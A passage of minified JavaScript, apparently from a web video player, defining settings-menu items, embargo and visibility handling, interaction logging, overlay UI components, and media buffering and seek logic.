this.If=x.cw();this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M21 7v10H3V7h18m1-1H2v12h20V6zM11.5 2v3h1V2h-1zm1 17h-1v3h1v-3zM3.79 3 6 5.21l.71-.71L4.5 2.29 3.79 3zm2.92 16.5L6 18.79 3.79 21l.71.71 2.21-2.21zM19.5 2.29 17.29 4.5l.71.71L20.21 3l-.71-.71zm0 19.42.71-.71L18 18.79l-.71.71 2.21 2.21z",fill:"white"}}]});this.subscribe("select",this.j,this);this.listen(Il,this.K);g.y(this,this.Z)};
qy=function(x){OT.call(this,x);var T=this;this.C=!1;x.addEventListener("settingsMenuInitialized",function(){tvf(T)});
x.addEventListener("highlightSettingsMenu",function(t){tvf(T);var u=T.menuItem;t==="menu_item_cinematic_lighting"&&(g.uY(u.element,"ytp-menuitem-highlighted"),g.uY(u.element,"ytp-menuitem-highlight-transition-enabled"),u.Z.start())});
HF(x,"updateCinematicSettings",function(t){T.updateCinematicSettings(t)})};
tvf=function(x){x.menuItem||(x.menuItem=new Ez(x.api),g.y(x,x.menuItem),x.menuItem.Nj(x.C))};
ZA=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"applicationvideodatachange",function(t,u){T.P2(t,u)})};
jp=function(x){OT.call(this,x);this.events=new g.nj(x);g.y(this,this.events);HF(x,"setCreatorEndscreenVisibility",this.setCreatorEndscreenVisibility.bind(this));HF(x,"setCreatorEndscreenHideButton",this.C.bind(this))};
ep=function(x,T,t,u){ol.call(this,"Stable Volume",g.iL.iz);g.uY(this.element,"ytp-drc-menu-item");this.If=x.cw();this.K=T;this.C=t;this.hasDrcAudioTrack=u;x.addEventListener("videodatachange",this.Z.bind(this));x.B("mta_drc_mutual_exclusion_removal")&&this.V(x,"onPlaybackAudioChange",this.Z);x=this.C()===1&&this.hasDrcAudioTrack();this.setEnabled(this.hasDrcAudioTrack());this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M7 13H5v-2h2v2zm3-4H8v6h2V9zm3-3h-2v12h2V6zm3 2h-2v8h2V8zm3 2h-2v4h2v-4zm-7-7c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m0-1c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2z",
fill:"white"}}]});this.subscribe("select",this.j,this);tU(this,x);this.If.NU(this)};
lL=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);x.B("html5_show_drc_toggle")&&x.addEventListener("settingsMenuInitialized",function(){T.menuItem||(T.menuItem=new ep(T.api,T.setDrcUserPreference.bind(T),T.getDrcUserPreference.bind(T),T.Z.bind(T)),g.y(T,T.menuItem))});
HF(this.api,"setDrcUserPreference",function(u){T.setDrcUserPreference(u)});
HF(this.api,"getDrcUserPreference",function(){return T.getDrcUserPreference()});
HF(this.api,"hasDrcAudioTrack",function(){return T.Z()});
var t;this.C=(t=g.VT("yt-player-drc-pref"))!=null?t:1;this.updateEnvironmentData()};
mq=function(x){OT.call(this,x);var T=this;this.C={};this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"videodatachange",function(){T.onVideoDataChange()});
this.events.V(x,g.$m("embargo"),function(t){T.api.Sb(!0);var u,H=(u=T.C[t.id])!=null?u:[];u=g.S(H);for(H=u.next();!H.done;H=u.next()){var I=H.value;T.api.hideControls();T.api.V9("auth",2,"This video isn't available in your current playback area",bF({embargoed:1,id:t.id,idx:t.Z,start:t.start}));H=void 0;(I=(H=I.embargo)==null?void 0:H.onTrigger)&&T.api.XW("innertubeCommand",I)}})};
saf=function(x,T){var t;return(t=T.onEnter)==null?void 0:t.some(x.Z)};
ufv=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;var u=void 0,H=Number((u=t.playbackPosition)==null?void 0:u.utcTimeMillis)/1E3,I=void 0;u=H+Number((I=t.duration)==null?void 0:I.seconds);I="embargo_"+H;x.api.addUtcCueRange(I,H,u,"embargo",!1);t.onEnter&&(x.C[I]=t.onEnter.filter(x.Z))}};
dS=function(x){OT.call(this,x);var T=this;this.C=[];this.events=new g.nj(x);g.y(this,this.events);HF(x,"addEmbedsConversionTrackingParams",function(t){T.api.Y().pT&&T.addEmbedsConversionTrackingParams(t)});
this.events.V(x,"veClickLogged",function(t){T.api.hasVe(t)&&(t=ib(t.visualElement.getAsJspb(),2),T.C.push(t))})};
$83=function(x){OT.call(this,x);HF(x,"isEmbedsShortsMode",function(){return x.isEmbedsShortsMode()})};
HTX=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"initialvideodatacreated",function(t){z4(rI(),16623);T.C=g.Yx();var u=x.Y().aH&&!t.hR;if(N$(t)&&u){z4(rI(),27240,void 0,{implicitGestureType:"INTERACTION_LOGGING_GESTURE_TYPE_AUTOMATED"});if(t.getWatchNextResponse()){var H,I=(H=t.getWatchNextResponse())==null?void 0:H.trackingParams;I&&Ff(I)}if(t.getPlayerResponse()){var E;(t=(E=t.getPlayerResponse())==null?void 0:E.trackingParams)&&Ff(t)}}else z4(rI(),
32594,void 0,{implicitGestureType:"INTERACTION_LOGGING_GESTURE_TYPE_AUTOMATED"}),t.getEmbeddedPlayerResponse()&&(E=(I=t.getEmbeddedPlayerResponse())==null?void 0:I.trackingParams)&&Ff(E)});
this.events.V(x,"loadvideo",function(){z4(rI(),27240,void 0,{implicitGestureType:"INTERACTION_LOGGING_GESTURE_TYPE_AUTOMATED",parentCsn:T.C})});
this.events.V(x,"cuevideo",function(){z4(rI(),32594,void 0,{implicitGestureType:"INTERACTION_LOGGING_GESTURE_TYPE_AUTOMATED",parentCsn:T.C})});
this.events.V(x,"largeplaybuttonclicked",function(t){z4(rI(),27240,t.visualElement)});
this.events.V(x,"playlistnextbuttonclicked",function(t){z4(rI(),27240,t.visualElement)});
this.events.V(x,"playlistprevbuttonclicked",function(t){z4(rI(),27240,t.visualElement)});
this.events.V(x,"playlistautonextvideo",function(){z4(rI(),27240,void 0,{implicitGestureType:"INTERACTION_LOGGING_GESTURE_TYPE_AUTOMATED"})})};
My=function(x,T){g.W.call(this);var t=this;this.C=null;this.j=T;T=[];for(var u=0;u<=100;u++)T.push(u/100);T={threshold:T,trackVisibility:!0,delay:1E3};(this.Z=window.IntersectionObserver?new IntersectionObserver(function(H){H=H[H.length-1];typeof H.isVisible==="undefined"?document.visibilityState==="visible"&&H.isIntersecting&&H.intersectionRatio>0?t.C=H.intersectionRatio:document.visibilityState==="hidden"?t.C=0:t.C=null:t.C=H.isVisible?H.intersectionRatio:0;typeof t.j==="function"&&t.j(t.C)},T):
null)&&this.Z.observe(x)};
IRC=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"applicationInitialized",function(){iT3(T)})};
iT3=function(x){var T=x.api.getRootNode(),t=T;if(!x.api.B("embeds_emc3ds_inview_ks")){var u;t=x.api.getWebPlayerContextConfig().embedsEnableEmc3ds?((u=T.parentElement)==null?void 0:u.parentElement)||T:T}x.C=new My(t,function(H){H!=null&&(x.api.Y().EG=H,x.api.Y().k$="EMBEDDED_PLAYER_VISIBILITY_FRACTION_SOURCE_INTERSECTION_OBSERVER")});
g.y(x,x.C);x.events.V(x.api,"videoStatsPingCreated",function(H){var I=x.C;I=I.C==null?null:Math.round(I.C*100)/100;H.inview=I!=null?I:void 0;I=x.api.getPlayerSize();if(I.height>0&&I.width>0){I=[Math.round(I.width),Math.round(I.height)];var E=g.O0();E>1&&I.push(E);I=I.join(":")}else I=void 0;H.size=I})};
EIH=function(x){var T;return((T=((x==null?void 0:x.messageRenderers)||[]).find(function(t){return!!t.timeCounterRenderer}))==null?void 0:T.timeCounterRenderer)||null};
AU=function(x){g.Q.call(this,{L:"div",DZ:["ytp-player-content","ytp-iv-player-content"],W:[{L:"div",G:"ytp-free-preview-countdown-timer",W:[{L:"span",z9:"{{label}}"},{L:"span",G:"ytp-free-preview-countdown-timer-separator",z9:"\u2022"},{L:"span",z9:"{{duration}}"}]}]});this.api=x;this.C=null;this.j=this.Z=0;this.V(this.api,"videodatachange",this.onVideoDataChange);this.api.createClientVe(this.element,this,191284)};
ZTm=function(x,T){x.C||(x.Z=T,x.j=(0,g.bo)(),x.C=new g.pt(function(){qk5(x)},null),qk5(x))};
qk5=function(x){var T=Math,t=T.round,u=Math.min((0,g.bo)()-x.j,x.Z);T=t.call(T,(x.Z-u)/1E3);x.updateValue("duration",Ra({seconds:T}));T<=0&&x.C?Rl(x):x.C&&x.C.start()};
Rl=function(x){x.C&&(x.C.dispose(),x.C=null)};
jaC=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"basechromeinitialized",function(){T.C=new AU(x);g.y(T,T.C);g.V$(x,T.C.element,4);T.C.hide()})};
Pw=function(x){g.Q.call(this,{L:"button",DZ:["ytp-fullerscreen-edu-button","ytp-button"],W:[{L:"div",DZ:["ytp-fullerscreen-edu-text"],z9:"Scroll for details"},{L:"div",DZ:["ytp-fullerscreen-edu-chevron"],W:[{L:"svg",X:{height:"100%",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M7.41,8.59L12,13.17l4.59-4.58L18,10l-6,6l-6-6L7.41,8.59z",fill:"#fff"}}]}]}],X:{"data-priority":"1"}});this.qj=x;this.C=new g.XK(this,250,void 0,100);this.j=this.Z=!1;x.createClientVe(this.element,this,61214);g.y(this,
this.C);this.V(x,"fullscreentoggled",this.Nj);this.V(x,"presentingplayerstatechange",this.Nj);this.listen("click",this.onClick);this.Nj()};
Sp=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);HF(this.api,"updateFullerscreenEduButtonSubtleModeState",function(u){T.updateFullerscreenEduButtonSubtleModeState(u)});
HF(this.api,"updateFullerscreenEduButtonVisibility",function(u){T.updateFullerscreenEduButtonVisibility(u)});
var t=x.Y();x.B("external_fullscreen_with_edu")&&t.externalFullscreen&&QZ(t)&&t.controlsType==="1"&&this.events.V(x,"standardControlsInitialized",function(){T.C=new Pw(x);g.y(T,T.C);x.YB(T.C)})};
eqC=function(x){g.Q.call(this,{L:"div",G:"ytp-gated-actions-overlay",W:[{L:"div",G:"ytp-gated-actions-overlay-background",W:[{L:"div",G:"ytp-gated-actions-overlay-background-overlay"}]},{L:"button",DZ:["ytp-gated-actions-overlay-miniplayer-close-button","ytp-button"],X:{"aria-label":"Close"},W:[g.A3()]},{L:"div",G:"ytp-gated-actions-overlay-bar",W:[{L:"div",G:"ytp-gated-actions-overlay-text-container",W:[{L:"div",G:"ytp-gated-actions-overlay-title",z9:"{{title}}"},{L:"div",G:"ytp-gated-actions-overlay-subtitle",
z9:"{{subtitle}}"}]},{L:"div",G:"ytp-gated-actions-overlay-button-container"}]}]});var T=this;this.api=x;this.background=this.Um("ytp-gated-actions-overlay-background");this.Z=this.Um("ytp-gated-actions-overlay-button-container");this.C=[];this.V(this.Um("ytp-gated-actions-overlay-miniplayer-close-button"),"click",function(){T.api.XW("onCloseMiniplayer")});
this.hide()};
m84=function(x,T){var t=0;t=0;for(var u={};t<T.length;u={CS:void 0},t++){var H=x.C[t],I=void 0,E=(I=H)==null?void 0:I.element;E||(E=new g.Q({L:"button",G:"ytp-gated-actions-overlay-button",X:{tabindex:"0"},W:[{L:"div",G:"ytp-gated-actions-overlay-button-title",z9:"{{buttonText}}"}]}),g.y(x,E),E.yU(x.Z),H={element:E});u.CS=g.N(T[t],lRV);var Z=I=void 0,e=void 0,l=((I=u.CS)==null?void 0:I.title)||((Z=u.CS)==null?void 0:(e=Z.titleFormatted)==null?void 0:e.content)||"";E.update({buttonText:l});H.listener&&
E.f2(H.listener);H.listener=E.listen("click",function(m){return function(){var d,M=g.N((d=m.CS)==null?void 0:d.onTap,LP);M&&x.api.XW("innertubeCommand",M)}}(u));
x.C[t]=H}for(;t<x.C.length;)x.C.pop().element.dispose()};
d8f=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.C=new eqC(this.api);g.y(this,this.C);this.events.V(x,"videodatachange",function(){var t,u=(t=T.api.getVideoData())==null?void 0:t.Zd;t=T.C;if(u){var H,I,E=((H=u.title)==null?void 0:H.content)||"";H=((I=u.subtitle)==null?void 0:I.content)||"";t.update({title:E,subtitle:H});E=u.thumbnail;I="none";if(E==null?0:E.sources){H=0;E=g.S(E.sources);for(var Z=E.next();!Z.done;Z=E.next())Z=Z.value,Z.width&&Z.url&&Z.width>
H&&(H=Z.width,I="url("+Z.url+")")}t.background.style.backgroundImage=I;m84(t,u.actionButtons||[]);t.show()}else t.hide()});
g.V$(this.api,this.C.element,4)};
cw=function(x){OT.call(this,x);var T=this;I9(this.api,"getSphericalProperties",function(){return T.getSphericalProperties()});
I9(this.api,"setSphericalProperties",function(){T.setSphericalProperties.apply(T,g.U(g.FD.apply(0,arguments)))});
ih(this.api,"getSphericalProperties",function(){return T.api.getPresentingPlayerType()===2?{}:T.getSphericalProperties()});
ih(this.api,"setSphericalProperties",function(){var t=g.FD.apply(0,arguments);T.api.getPresentingPlayerType()!==2&&T.setSphericalProperties.apply(T,g.U(t))})};
Yz=function(x){OT.call(this,x);HF(x,"createClientVe",this.createClientVe.bind(this));HF(x,"createServerVe",this.createServerVe.bind(this));HF(x,"destroyVe",this.destroyVe.bind(this));HF(x,"hasVe",this.hasVe.bind(this));HF(x,"logClick",this.logClick.bind(this));HF(x,"logVisibility",this.logVisibility.bind(this));HF(x,"setTrackingParams",this.setTrackingParams.bind(this))};
Uz=function(x,T,t,u){function H(E){var Z=!(E.status!==204&&E.status!==200&&!E.response),e;E={succ:""+ +Z,rc:E.status,lb:((e=E.response)==null?void 0:e.byteLength)||0,rt:((0,g.bo)()-I).toFixed(),shost:g.nq(x),trigger:T};Mv3(E,x);t&&t(E);u&&!Z&&u(new r4("pathprobe.net",E))}
var I=(0,g.bo)();g.Ur(x,{format:"RAW",responseType:"arraybuffer",timeout:1E4,onFinish:H,onTimeout:H})};
Mv3=function(x,T){var t;((t=window.performance)==null?0:t.getEntriesByName)&&(T=performance.getEntriesByName(T))&&T.length&&(T=T[0],x.pedns=(T.domainLookupEnd-T.startTime).toFixed(),x.pecon=(T.connectEnd-T.domainLookupEnd).toFixed(),x.perqs=(T.requestStart-T.connectEnd).toFixed(),AX3&&(x.perqsa=T.requestStart+(performance.timeOrigin||performance.timing.navigationStart)))};
bL=function(x,T){this.xP=x;this.policy=T;this.playbackRate=1};
Rqq=function(x,T){var t=Math.min(2.5,AF(x.xP));x=rS(x);return T-t*x};
zk=function(x,T,t,u,H){H=H===void 0?!1:H;if(x.policy.t8)return Math.ceil(x.policy.t8*T);x.policy.I8&&(u=Math.abs(u));u/=x.playbackRate;var I=1/Si(x.xP);t=Math.max(.9*(u-3),AF(x.xP)+x.xP.Z.C*I)/I*.8/(T+t);t=Math.min(t,u);x.policy.Xh>0&&H&&(t=Math.max(t,x.policy.Xh));return PkV(x,t,T)};
PkV=function(x,T,t){return Math.ceil(Math.max(Math.max(x.policy.k$,x.policy.G$*t),Math.min(Math.min(x.policy.G9,31*t),Math.ceil(T*t))))||x.policy.k$};
Sk4=function(x,T,t){t=zk(x,T.C.info.Zp,t.C.info.Zp,0);var u=AF(x.xP)+t/Si(x.xP);return Math.max(u,u+x.policy.KJ-t/T.C.info.Zp)};
rS=function(x){return Si(x.xP,!x.policy.vD,x.policy.NW)};
kz=function(x){return rS(x)/x.playbackRate};
Fm=function(x,T,t){var u=x.policy.playbackStartPolicy.resumeMinReadaheadPolicy||[],H=x.policy.playbackStartPolicy.startMinReadaheadPolicy||[];x=Infinity;T=g.S(T&&u.length>0?u:H);for(u=T.next();!u.done;u=T.next())u=u.value,H=u.minReadaheadMs||0,t<(u.minBandwidthBytesPerSec||0)||x>H&&(x=H);return x<Infinity?x/1E3:x};
hU=function(x,T,t,u){var H=this;this.N=x;this.gy=T;this.policy=t;this.logger=u;this.C7=[];this.v9=[];this.C=-1;this.qJ=null;this.D=this.timestampOffset=0;this.VF=null;this.Z=10;this.T=new Set;this.yF={Wb:function(I){return H.Wb(I)}};
this.K=T.B9?0:1;t.LX>0&&(this.Z=t.LX)};
bTH=function(x,T,t,u,H){if(!u.info.K){if(t.length===0)t.push(u);else{var I;(x=(I=t.pop())==null?void 0:g.x8(I,u))?t.push(x):t.push(u)}return H}var E;(t=(E=t.pop())==null?void 0:g.x8(E,u))||(t=u);if(x.policy.RW&&t.info.Z)return x.logger&&x.logger({incompleteSegment:t.info.Hk()}),H;E=x.Wb(t);u=E.formatId;H=E.Mj;t=E.clipId;I=E.Tx;E=E.startTimeMs;if(!x.policy.nU&&x.policy.Z&&x.VF){var Z=vw(x.VF,t);E+=Z}u={clipId:t,formatId:u,startTimeMs:E,durationMs:I,t$:H,CK:H,KH:E,jB:I};H=cXV(T,u.startTimeMs);(t=H>=
0?T[H]:null)&&Yk3(x,t,u)?u=t:(H+=1,T.splice(H,0,u));t=0;for(I=H+1;I<T.length;I++){E=x;Z=T[I];var e=u,l=Z.startTimeMs+Z.durationMs,m=e.startTimeMs+e.durationMs;m>=l+E.Z?E=!0:m+E.Z<Z.startTimeMs?E=!1:U8X(E,Z.formatId,e.formatId)?(e.durationMs=l-e.startTimeMs,e.jB=e.durationMs,e.CK=Z.CK,E=!0):(Z.startTimeMs=m,Z.KH=m,Z.t$=e.CK+1,E=!1);if(!E)break;t++}t&&T.splice(H+1,t);return H};
zqH=function(x,T,t){x.policy.RW&&t!=null&&t.fN||(x.C7=[]);x.policy.yS?(T=g.ig(x.v9,{startTimeMs:T*1E3},function(u,H){return u.startTimeMs-H.startTimeMs}),x.C!==T&&(x.C=-1,x.j=void 0)):(rXV(x,!0),x.C=cXV(x.v9,T*1E3))};
cXV=function(x,T){x=g.ig(x,{startTimeMs:T},function(t,u){return t.startTimeMs-u.startTimeMs});
return x>=0?x:-x-2};
rXV=function(x,T){if(x.qJ){var t=x.qJ.ma();if(t.length!==0){if(x.j&&T){var u=x.j,H=u.info.Gy;!Ec(t,H)&&u.info.D>0&&(0,g.bo)()-x.D<5E3&&(x.logger&&x.logger({dend:u.info.Hk()}),t=lyq(t,H,H+.01))}x.policy.yS&&x.logger&&x.logger({cbri:""+x.C});u=[];for(var I=H=0;H<t.length&&I<x.v9.length;){var E=t.start(H),Z=t.end(H),e=x.v9[I].startTimeMs/1E3,l=(x.v9[I].startTimeMs+x.v9[I].durationMs)/1E3;if(e<=Z&&l>=E){var m=0;if(x.VF){var d=VW(x.VF,e*1E3);d&&(m=d.pB/1E3)}d=Object.assign({},x.v9[I]);var M=x.gy.j.get(bz(x.v9[I].formatId)),
A=Math.max(e,E);E=M.index.tp(A+x.Z/1E3-m);e=M.index.getStartTime(E)+m;var R=E+ +(Math.abs(e-A)>x.Z/1E3);A=R+x.K;R=(M.index.getStartTime(R)+m)*1E3;I!==x.C||T?(d.t$=A,d.startTimeMs=R):(x.logger&&x.logger({pEvict:"1",og:d.startTimeMs,adj:e*1E3}),d.t$=E+x.K,d.startTimeMs=e*1E3);d.KH=d.startTimeMs;E=void 0;e=((E=x.j)==null?void 0:E.info.duration)||11;I===x.C&&Z<l&&l-Z<=e*1.01&&(Z=l);E=Math.min(l,Z);e=M.index.tp(E-x.Z/1E3-m);A=x.policy;(A.Z||A.Pv.B("html5_sabr_include_tail_media_chunk"))&&M.index.wP(e+
1)&&M.index.S6(e+1)+m<=E&&(e+=1);A=M.index.S6(e)+m;e-=+(Math.abs(A-E)>x.Z/1E3);E=e+x.K;m=(M.index.S6(e)+m)*1E3;d.CK=E;d.durationMs=m-d.startTimeMs;d.jB=d.durationMs;d.t$<=d.CK&&u.push(d)}l<Z?I+=1:H+=1}x.v9=u}}};
k4q=function(x){var T=[],t=[].concat(g.U(x.C7));x.v9.forEach(function(E){T.push(Object.assign({},E))});
for(var u=x.C,H=g.S(x.N.tY()),I=H.next();!I.done;I=H.next())u=bTH(x,T,t,I.value,u);T.forEach(function(E){E.startTimeMs&&(E.startTimeMs+=x.timestampOffset*1E3,E.KH&&(E.KH+=x.timestampOffset*1E3))});
return{v9:T,C7:t}};
Yk3=function(x,T,t){var u=T.startTimeMs+T.durationMs,H=t.startTimeMs+t.durationMs;if(t.startTimeMs-u>x.Z)return!1;if(U8X(x,T.formatId,t.formatId))return T.durationMs=Math.max(u,H)-T.startTimeMs,T.jB=T.durationMs,T.CK=Math.max(T.CK,t.CK),!0;if(Math.abs(T.startTimeMs-t.startTimeMs)<=x.Z){if(T.durationMs>t.durationMs+x.Z){x=T.formatId;var I=T.t$,E=T.CK;T.formatId=t.formatId;T.durationMs=t.durationMs;T.t$=t.t$;T.jB=t.durationMs;T.CK=t.CK;t.formatId=x;t.startTimeMs=H;t.KH=H;t.durationMs=u-H;t.jB=t.durationMs;
t.t$=I;t.CK=E;return!1}T.formatId=t.formatId;return!0}u>t.startTimeMs&&(T.durationMs=t.startTimeMs-T.startTimeMs,T.jB=T.durationMs,T.clipId===t.clipId&&(T.CK=t.t$-1));return!1};
U8X=function(x,T,t){return T.itag!==t.itag||T.xtags!==t.xtags?!1:x.gy.B9||T.lmt===t.lmt};
FHH=function(x,T,t){if(x.logger){for(var u=[],H=0;H<T.length;H++){var I=T[H],E=void 0;if((E=I.OV)==null?0:E.startTicks){var Z=E=void 0,e=void 0;u.push("i."+((E=I.formatId)==null?void 0:E.itag)+"_st."+(I.startTimeMs+"_psst.")+(((Z=I.OV)==null?void 0:Z.startTicks)+"_psd.")+((e=I.OV)==null?void 0:e.zf))}E=void 0;u.push("i."+((E=I.formatId)==null?void 0:E.itag)+"_st."+(I.startTimeMs+"_e."+(I.startTimeMs+I.durationMs)+"_d."+I.durationMs)+("_sn."+I.t$)+("_en."+I.CK))}x.logger({p:""+t,br:u.join(";")})}};
hqD=function(x){x.v9=[];x.C7=[];x.T.clear();x.C=-1;x.j=void 0};
Gk=function(x,T,t,u,H){this.Kf=x;this.gy=T;this.videoTrack=t;this.audioTrack=u;this.policy=H;this.seekCount=this.C=0;this.T=!1;this.K=null;this.j=0;this.Z=this.gy.isManifestless&&!this.gy.qI};
vIi=function(x,T,t){if(!x.policy.D){x=T.C.index;var u=T.Z.Mj;x.wP(u)||t&&t.Mj===u?(T.T=!x.wP(u),T.uG=!x.wP(u)):(T.T=!0,T.uG=!0)}};
G43=function(x){var T=Math.max(x.videoTrack.K.j||0,x.audioTrack.K.j||0);Vv4(x.videoTrack);Vv4(x.audioTrack);x.policy.D||olH(x.gy);x.gy.isManifestless&&!x.policy.D&&(x.Z=!0,x.j=0);var t=x.Kf;t.policy.Om||(t.currentTime=T);x.T=!0;x.K=new XG;return x.K};
aR3=function(x,T,t,u,H){var I=x.policy.RW?H:void 0;if(!T.C.fC()){if(!(I=t===0||!!T.j.length&&T.j[0]instanceof Lh))a:{if(T.j.length&&(I=T.j[0],I instanceof nh&&I.N0&&I.rV)){I=!0;break a}I=!1}I||x.policy.C||al(T);return t}var E=gS(T,t);if(!isNaN(E))return E;if(x.Kf.l2(t*1E3))return t;H.fN?x.policy.TG&&(x=Bw(x.Kf,T),LH5(T.K,t+x,!0)):(T.CU(),x.Kf.jc(!1,"sta_"+ +T.C.info.iD()));return u&&(x=qG(u.ma(),t),!isNaN(x))?(Ww(T,x+nIm,I),t):Ww(T,t,I)};
BIJ=function(x,T,t,u){if(x.policy.D)!u||!x.Z&&x.policy.tM||g.IZ(function(){DA(x)});
else{if(x.isSeeking()&&x.C){var H=gIq(x,T,t);if(H!==-1){x.videoTrack.T=!1;x.audioTrack.T=!1;x.Z=!0;x.j=0;g.IZ(function(){x.Kf.kc("seekreason",{reason:"behindMinSq",tgt:H});yW(x,H)});
return}}t?x.videoTrack.uG=!1:x.audioTrack.uG=!1;var I=x.policy.pk||!x.Z;gS(x.videoTrack,x.C)>=0&&gS(x.audioTrack,x.C)>=0&&I?((x.videoTrack.T||x.audioTrack.T)&&x.Kf.kc("iterativeSeeking",{status:"done",count:x.seekCount}),x.videoTrack.T=!1,x.audioTrack.T=!1):u&&g.IZ(function(){if(x.Z||!x.policy.tM)DA(x);else{var E=T.startTime,Z=T.duration;if(!x.policy.D){var e=t?x.videoTrack.T:x.audioTrack.T,l=x.videoTrack.D!==-1&&x.audioTrack.D!==-1,m=x.C>=E&&x.C<E+Z+.1,d=!x.videoTrack.uG&&!x.audioTrack.uG,M=x.policy.a$&&
gS(x.videoTrack,E)&&gS(x.audioTrack,E);e&&l&&d&&(m||M?((t?x.videoTrack:x.audioTrack).T=!1,x.videoTrack.T||x.audioTrack.T||(x.Kf.kc("iterativeSeeking",{status:"done",target:E,originalTime:E+x.Kf.Pk(),count:x.seekCount}),x.seekCount=0)):x.seekCount<8?(x.seekCount++,x.Kf.kc("iterativeSeeking",{status:"inprogress",count:x.seekCount,target:x.C,actual:E,duration:Z,isVideo:t}),x.seek(x.C,{})):(x.Kf.kc("iterativeSeeking",{status:"incomplete",count:x.seekCount,target:x.C,actual:E}),x.seekCount=0,x.videoTrack.T=
!1,x.audioTrack.T=!1,Ny(x.Kf,E+.1,{OJ:!0,wp:"chunkSelectorSynchronizeMedia",KT:!0})))}}})}};
gIq=function(x,T,t){if(!x.isSeeking())return-1;t=(t?x.videoTrack:x.audioTrack).C.index;var u=t.tp(x.C);return(t.wP(x.gy.Q9)||T.Mj===x.gy.Q9)&&u<x.gy.Q9?x.gy.qU():-1};
yW=function(x,T,t){x.Z&&x.videoTrack.D!==-1&&x.audioTrack.D!==-1&&(x.Z=!1,x.C=T,Ny(x.Kf,T+.1,{OJ:!0,wp:"chunkSelectorSynchronize",KT:!0,seekSource:t}))};
DA=function(x){var T=x.videoTrack.D!==-1,t=x.audioTrack.D!==-1;if(!T||!t)if(T=!T&&JU(x.videoTrack),t=!t&&JU(x.audioTrack),T||t){t=T?x.videoTrack:x.audioTrack;T=T?x.audioTrack:x.videoTrack;t.D=JU(t).info.Mj;if(x.policy.D){var u;T.D=((u=JU(T))==null?void 0:u.info.Mj)||T.D}if(T.D!==-1){var H=Math.max(T.C.index.getStartTime(T.D),t.C.index.getStartTime(t.D));PT(x.gy)&&Math.abs(H-PT(x.gy))>432E3&&teX(x.gy);x.j&&(H=x.j,x.j=0);g.IZ(function(){x.policy.D||yW(x,H,102)});
x.Kf.kc("initManifestlessSync",{st:H,ost:H+x.Kf.Pk(),a:x.audioTrack.D,v:x.videoTrack.D});x.K&&(x.K.resolve(H+.1),x.K=null);x.policy.D&&yW(x,H,102)}}};
Ch=function(x,T){var t=this;this.P9=x;this.requestNumber=++WH3;this.C=this.now();this.S=this.ZZ=NaN;this.N=this.C;this.j=this.Ym=this.T=0;this.D=this.C;this.nf=this.J=this.Hv=this.L2=this.Zk=this.Om=this.Z=this.K=0;this.jY=this.isActive=!1;this.hM=this.Ee=0;this.yF={QY7:function(){return t.sC}};
this.xP=T.xP;this.snapshot=DWi(this.xP);this.policy=this.xP.Z;this.Jr=!!T.Jr;this.Ke=T.Ke;this.mO=T.mO||0;this.cU=T.cU||0;T.qG&&(this.hQ=new E0);var u;this.sC=(u=T.sC)!=null?u:!1;this.Jr||glD(this.xP)};
D8q=function(x){x.Hv=Math.max(x.Hv,x.T-x.Zk);x.J=Math.max(x.J,x.N-x.L2);x.Om=0};
QW=function(x,T,t){BcC(x.xP,T);x.hQ&&(x.hQ.add(Math.ceil(T)-Math.ceil(x.N)),x.hQ.add(Math.max(0,Math.ceil(t/1024)-Math.ceil(x.T/1024))));var u=T-x.N,H=t-x.T;x.Ym=H;x.nf=Math.max(x.nf,H/(u+.01)*1E3);x.N=T;x.T=t;x.Om&&t>x.Om&&D8q(x)};
ph=function(x,T){x.url=T;window.performance&&!performance.onresourcetimingbufferfull&&(performance.onresourcetimingbufferfull=function(){performance.clearResourceTimings()})};
Oz=function(x,T){Ch.call(this,x,T);this.Lz=this.tM=!1;this.G9=this.uG=Infinity;this.AQ=NaN;this.ra=!1;this.SY=NaN;this.kP=this.QU=this.mu=0;this.Oh=T.Oh||1;this.xi=T.xi||this.Oh;this.t7=T.t7;this.Mj=T.Mj;this.IT=T.IT;yXv(this);this.Yi(this.C);this.Cz=(this.SY-this.C)/1E3};
NIJ=function(x){var T=x.QU||x.mu;return T?x.snapshot.delay+Math.min(x.cU,(x.S-x.ZZ)/1E3)+T:x.Cz};
fh=function(x,T,t){if(!x.Jr){T=Math.max(T,.01);var u=x.mO?Math.max(T,t/x.mO):T,H=x.xP.Z.j;H&&(u=T,x.mO&&(u=Math.max(T,t/x.mO*H)));mI(x.xP,T,t,u)}};
JX3=function(x){return(x.D-x.C)/1E3};
yXv=function(x){x.AQ=x.C+x.snapshot.delay*1E3;x.ra=!1};
wS=function(x,T){if(x.t7&&x.Mj!==void 0&&x.IT!==void 0){var t=Math,u=t.min,H=x.uG;var I=x.t7;var E=x.C;if(Ck3(I,x.Mj))I=T;else{var Z=0;I.Ok&&(Z=.2);I=E+(I.cU+Z)*1E3}x.uG=u.call(t,H,I);t=Math;u=t.min;H=x.G9;I=x.t7;E=x.C;Z=Qa3(I,x.Mj,x.IT);Z!==2&&(T=Z?T:E+I.cU*1E3,I.Ok&&(T+=I.cU*1E3));x.G9=u.call(t,H,T);x.uG<=x.C?yXv(x):(x.AQ=x.uG,x.ra=!0)}};
